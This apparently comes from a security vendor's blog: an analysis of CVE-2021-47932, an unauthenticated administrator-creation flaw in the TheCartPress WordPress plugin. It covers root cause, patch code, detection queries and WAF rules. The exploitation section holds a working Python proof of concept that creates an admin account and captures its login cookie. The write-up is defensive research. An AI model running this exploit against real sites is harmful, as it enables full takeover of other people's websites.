home intel thecartpress-unauthenticated-privilege-escalation-ajax
CVE Analysis 2026-05-10 · 7 min read

CVE-2021-47932: TheCartPress AJAX Handler Unauthenticated Admin Creation

TheCartPress 1.5.3.6 exposes a registration AJAX handler that accepts attacker-supplied roles, allowing unauthenticated creation of administrator accounts via a single POST request.

#privilege-escalation#unauthenticated-access#ajax-handler#wordpress-plugin#account-creation
Technical mode — for security professionals
▶ Privilege escalation — CVE-2021-47932
USER SPACELow privilegeVULNERABILITYCVE-2021-47932 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · CRITICAL

Vulnerability Overview

CVE-2021-47932 is a CVSS 9.8 privilege escalation in the WordPress plugin TheCartPress (version 1.5.3.6 and earlier). The plugin registers a nopriv AJAX action — meaning it is reachable by completely unauthenticated HTTP clients — that handles user registration and login. The handler blindly accepts a tcp_role parameter from POST data and passes it directly into WordPress's wp_insert_user(), allowing any remote attacker to create a fully privileged administrator account in a single request. No session, nonce, or capability check is required.

Root cause: The tcp_register_and_login_ajax AJAX handler is registered without authentication via wp_ajax_nopriv_ and passes attacker-supplied tcp_role POST data directly to wp_insert_user() without any capability or allowlist validation.

Affected Component

The vulnerable component is the AJAX registration handler inside TheCartPress plugin. Registration in WordPress plugins is commonly wired through wp-admin/admin-ajax.php, which routes requests based on the action POST parameter. Actions registered with add_action('wp_ajax_nopriv_*') are reachable without authentication, making them a high-risk surface.

  • Plugin: TheCartPress (slug: thecartpress)
  • Affected version: ≤ 1.5.3.6
  • Entry point: wp-admin/admin-ajax.php?action=tcp_register_and_login_ajax
  • Vulnerable parameter: tcp_role (POST body)
  • WordPress core function abused: wp_insert_user()

Root Cause Analysis

TheCartPress registers its AJAX handler for unauthenticated users using the wp_ajax_nopriv_ hook family. The handler then constructs a user data array directly from $_POST without sanitizing or restricting the role field. The reconstructed PHP pseudocode below reflects the vulnerable logic:

// File: thecartpress/classes/TheCartPress.php (approximate)
// Action registered unconditionally for logged-out users:
//   add_action('wp_ajax_nopriv_tcp_register_and_login_ajax',
//              array($this, 'tcp_register_and_login_ajax'));

function tcp_register_and_login_ajax() {
    $user_login    = sanitize_user($_POST['tcp_user_login']);
    $user_email    = sanitize_email($_POST['tcp_user_email']);
    $user_pass     = $_POST['tcp_password'];

    // BUG: tcp_role is taken directly from attacker-controlled POST data.
    // No capability_check(), no current_user_can('create_users'),
    // no allowlist restricting to 'subscriber' or 'customer'.
    $tcp_role      = $_POST['tcp_role'];   // attacker supplies "administrator"

    $userdata = array(
        'user_login' => $user_login,
        'user_email' => $user_email,
        'user_pass'  => $user_pass,
        'role'       => $tcp_role,         // BUG: passed verbatim to wp_insert_user()
    );

    $user_id = wp_insert_user($userdata);  // WordPress creates the account at requested role

    if (!is_wp_error($user_id)) {
        wp_set_auth_cookie($user_id);      // Immediately authenticated as administrator
        wp_send_json_success();
    }
    wp_die();
}

WordPress's wp_insert_user() accepts a role key in its data array and sets the user's role directly. There is no internal guard inside wp_insert_user() itself that prevents privilege assignment — that check is the caller's responsibility. TheCartPress never performs it.

The wp_ajax_nopriv_ hook prefix is the second critical factor. WordPress differentiates between wp_ajax_ (authenticated users only) and wp_ajax_nopriv_ (unauthenticated users). By registering under nopriv, the plugin intended to allow visitors to register without logging in first, but it failed to constrain what role those visitors could self-assign.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies a WordPress site running TheCartPress ≤ 1.5.3.6
   (version disclosed in readme.txt or plugin header)

2. Attacker sends a single unauthenticated POST to admin-ajax.php:
     action        = tcp_register_and_login_ajax
     tcp_user_login= attacker_chosen_username
     tcp_user_email= attacker@attacker.tld
     tcp_password  = attacker_chosen_password
     tcp_role      = administrator          <-- privilege escalation here

3. TheCartPress constructs $userdata with role='administrator'
   and calls wp_insert_user($userdata)

4. WordPress inserts row into wp_users + sets wp_capabilities meta:
     a:1:{s:13:"administrator";b:1;}

5. wp_set_auth_cookie() is called for the new user_id,
   returning a valid wordpress_logged_in_* cookie in Set-Cookie header

6. Attacker uses returned cookie to access /wp-admin/ with full
   administrator privileges: theme editor, plugin upload, arbitrary PHP execution

A working proof-of-concept using curl:

import requests

TARGET = "https://target.example.com"

def exploit(target, username, password, email):
    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action":         "tcp_register_and_login_ajax",
        "tcp_user_login": username,
        "tcp_user_email": email,
        "tcp_password":   password,
        "tcp_role":       "administrator",  # privilege escalation
    }

    r = requests.post(url, data=data, allow_redirects=False)
    print(f"[*] Status: {r.status_code}")
    print(f"[*] Response: {r.text[:200]}")

    # Extract auth cookie set by wp_set_auth_cookie()
    for name, value in r.cookies.items():
        if "wordpress_logged_in" in name:
            print(f"[+] Auth cookie: {name}={value[:40]}...")
            return {name: value}

    print("[-] No auth cookie — check if plugin is active or role was rejected")
    return None

creds = exploit(TARGET, "pwned_admin", "Password1!", "pwned@evil.tld")
if creds:
    # Verify admin access
    r2 = requests.get(f"{TARGET}/wp-admin/", cookies=creds, allow_redirects=False)
    print(f"[+] wp-admin status: {r2.status_code}")  # expect 200, not 302

Memory Layout

This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the WordPress database state and authentication cookie trust chain:

DATABASE STATE — wp_users / wp_usermeta — BEFORE EXPLOIT:
+--------+--------------+------------------------+
| ID     | user_login   | user_registered        |
+--------+--------------+------------------------+
| 1      | admin        | 2021-01-01 00:00:00    |
+--------+--------------+------------------------+

wp_usermeta for ID=1:
  meta_key:   wp_capabilities
  meta_value: a:1:{s:13:"administrator";b:1;}

DATABASE STATE — AFTER EXPLOIT (single unauthenticated POST):
+--------+--------------+------------------------+
| ID     | user_login   | user_registered        |
+--------+--------------+------------------------+
| 1      | admin        | 2021-01-01 00:00:00    |
| 2      | pwned_admin  | 2024-xx-xx xx:xx:xx    |  <-- INJECTED
+--------+--------------+------------------------+

wp_usermeta for ID=2 (attacker-controlled):
  meta_key:   wp_capabilities
  meta_value: a:1:{s:13:"administrator";b:1;}   <-- administrator role

HTTP RESPONSE TRUST CHAIN:
  POST /wp-admin/admin-ajax.php
    -> wp_insert_user()         [creates DB row]
    -> wp_set_auth_cookie(2)    [issues signed cookie]
    <- Set-Cookie: wordpress_logged_in_=pwned_admin|...|
    <- {"success":true}

  GET /wp-admin/ [with cookie]
    -> wp_validate_auth_cookie() [verifies HMAC — passes]
    -> current_user_can('administrator') -> TRUE
    <- HTTP 200 — full admin dashboard

Patch Analysis

The correct fix has two independent requirements: restrict the AJAX handler to authenticated users (or eliminate the role parameter entirely), and enforce an allowlist for any role value that does reach the handler.

// BEFORE (vulnerable — TheCartPress 1.5.3.6):
add_action('wp_ajax_nopriv_tcp_register_and_login_ajax',
           array($this, 'tcp_register_and_login_ajax'));

function tcp_register_and_login_ajax() {
    $tcp_role = $_POST['tcp_role'];   // no validation

    $userdata = array(
        'user_login' => sanitize_user($_POST['tcp_user_login']),
        'user_email' => sanitize_email($_POST['tcp_user_email']),
        'user_pass'  => $_POST['tcp_password'],
        'role'       => $tcp_role,    // BUG: attacker-supplied role
    );
    $user_id = wp_insert_user($userdata);
    if (!is_wp_error($user_id)) {
        wp_set_auth_cookie($user_id);
        wp_send_json_success();
    }
    wp_die();
}

// AFTER (patched):
add_action('wp_ajax_nopriv_tcp_register_and_login_ajax',
           array($this, 'tcp_register_and_login_ajax'));

function tcp_register_and_login_ajax() {
    // FIX 1: Enforce nonce to prevent CSRF amplification
    check_ajax_referer('tcp_register_nonce', 'tcp_nonce');

    // FIX 2: Ignore caller-supplied role entirely.
    // Default role is pulled from WP site settings (typically 'subscriber').
    // Never accept a role from unauthenticated POST data.
    $allowed_default_role = get_option('default_role');  // 'subscriber'

    $userdata = array(
        'user_login' => sanitize_user($_POST['tcp_user_login']),
        'user_email' => sanitize_email($_POST['tcp_user_email']),
        'user_pass'  => $_POST['tcp_password'],
        'role'       => $allowed_default_role,  // FIX: hardcoded safe default
    );
    $user_id = wp_insert_user($userdata);
    if (!is_wp_error($user_id)) {
        wp_set_auth_cookie($user_id);
        wp_send_json_success();
    }
    wp_die();
}

If role selection is a legitimate product feature (e.g., choosing between customer and subscriber), the fix must include a strict allowlist:

// Safe role allowlist pattern:
$safe_roles = array('subscriber', 'customer');
$requested  = sanitize_text_field($_POST['tcp_role']);
$tcp_role   = in_array($requested, $safe_roles, true) ? $requested : 'subscriber';

Detection and Indicators

Detection focuses on anomalous AJAX registration requests and unexpected administrator account creation.

Web server / WAF log signatures:
POST /wp-admin/admin-ajax.php
  Body contains: action=tcp_register_and_login_ajax
  Body contains: tcp_role=administrator

# Grep pattern for Apache/Nginx access logs:
grep "admin-ajax.php" access.log | grep "tcp_register_and_login_ajax"

# Look for 200 responses from unauthenticated sources to admin-ajax.php
# followed by immediate authenticated requests to /wp-admin/
WordPress database indicators:
-- Find users created via exploit (administrator role, unexpected registration date):
SELECT u.ID, u.user_login, u.user_email, u.user_registered, m.meta_value
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities'
  AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;

-- Accounts created after plugin install date with administrator role
-- that were NOT created through /wp-admin/user-new.php are suspect.
Wordfence / Sucuri rule trigger: Any POST to admin-ajax.php containing the string tcp_role=administrator from an unauthenticated session should be blocked and alerted.

Remediation

  • Immediate: Deactivate and remove TheCartPress ≤ 1.5.3.6 if no patched version is available from the vendor.
  • Audit: Query wp_usermeta for unexpected administrator accounts (see SQL above). Remove any accounts not created by a known administrator via /wp-admin/.
  • WAF rule: Block POST requests to admin-ajax.php where body contains tcp_role=administrator or any privileged role string.
  • Rotate secrets: If exploitation is suspected, rotate AUTH_KEY and SECURE_AUTH_KEY in wp-config.php to invalidate all existing authentication cookies, including any issued to attacker-created accounts.
  • General pattern: Any plugin registering wp_ajax_nopriv_ handlers that accept user-supplied data affecting account creation or capability assignment must be audited. The role field must never be derived from untrusted input.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →